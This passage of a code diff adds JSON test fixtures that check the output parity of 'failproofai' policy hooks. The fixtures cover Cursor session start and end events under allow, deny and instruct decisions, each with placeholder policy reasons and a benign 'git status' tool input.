"/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..dcbb6f80 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b95ab0dd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..176a69f7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6d1adb18 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..daa5e4a6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3efcc8c4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4052d533 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..974ebc5c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6048cb58 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..129f9368 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b154d3a5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1c199b02 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0d7a6af3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..90c1f3cb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..29432e7b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f29fb24d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..21cbded8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..590dc3c7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", 